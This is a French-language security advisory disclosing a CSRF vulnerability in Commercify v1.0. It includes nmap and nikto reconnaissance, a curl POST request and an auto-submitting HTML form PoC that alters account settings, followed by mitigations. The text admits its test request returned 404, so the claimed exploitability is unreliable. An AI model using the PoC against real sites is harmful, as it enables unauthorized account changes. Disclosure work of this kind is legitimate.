🛡️ CVE-2025-29722 – Cross-Site Request Forgery (CSRF) dans Commercify v1.0

Découvert par : David P.S Abraham (alias Davycipher)

Identifiant CVE

CVE-2025-29722 a été attribué à cette vulnérabilité par MITRE Corporation.

Résumé

Une vulnérabilité CSRF a été identifiée dans Commercify v1.0, une plateforme e-commerce open-source développée par @yassmittal. L'application ne dispose pas de mécanismes de protection CSRF appropriés sur des points d'accès critiques tels que /update_settings, permettant aux attaquants de créer des requêtes malveillantes qui modifient les données utilisateur lorsqu'elles sont exécutées depuis un autre domaine.

Produit concerné

• Nom du produit : Commercify
• Version : 1.0
• Dépôt : https://github.com/yassmittal/Commercify

Type de vulnérabilité

• CWE-352 : Falsification de requête intersite (CSRF)

Déroulement de l'exploitation

Phase de reconnaissance

Le scan nmap a révélé que le service était accessible via le port 5173, indiquant un possible serveur de développement.

nmap -p 5173 localhost

Ensuite, j'ai scanné l'application avec nikto, révélant :

• En-tête X-Frame-Options manquant
• Politique CORS permissive (Access-Control-Allow-Origin: *)
• Absence d'en-têtes de protection CSRF

Forçage brutal des points d'accès

En explorant l'application, j'ai suspecté un possible point d'accès update_settings basé sur les fonctionnalités du tableau de bord. Je l'ai testé avec :

curl -X POST "http://localhost:5173/update_settings" \
-d "username=attacker&[email protected]"

Bien qu'une réponse 404 Not Found ait été renvoyée, ce comportement peut dépendre de l'environnement. Sur des déploiements valides, cela pourrait conduire à une manipulation complète du compte.

Preuve de concept (PoC)

Attaque basée sur HTML pour exploiter la faille CSRF :

<form action="http://localhost:5173/update_settings" method="POST">
  <input type="hidden" name="username" value="attacker">
  <input type="hidden" name="email" value="[email protected]">
</form>
<script>
  document.forms[0].submit();
</script>

Impact

• Modifications non autorisées des données du compte utilisateur
• Escalade de privilèges si les paramètres incluent la manipulation du rôle ou de l'email
• Scénarios de prise de contrôle du compte

Cause racine

• Absence de jetons CSRF
• Attribut de cookie SameSite non défini
• CORS permissif (*)
• Absence de validation du referer ou de l'origine

Atténuation et recommandations

• Ajouter des jetons CSRF pour tous les points d'accès modifiant l'état
• Définir SameSite=Strict ou Lax sur les cookies
• Définir des politiques CORS strictes
• Mettre en œuvre une validation de l'origine/référent

Découvreur

David P.S. Abraham
Alias : Davycipher

• GitHub
• LinkedIn
• Site Web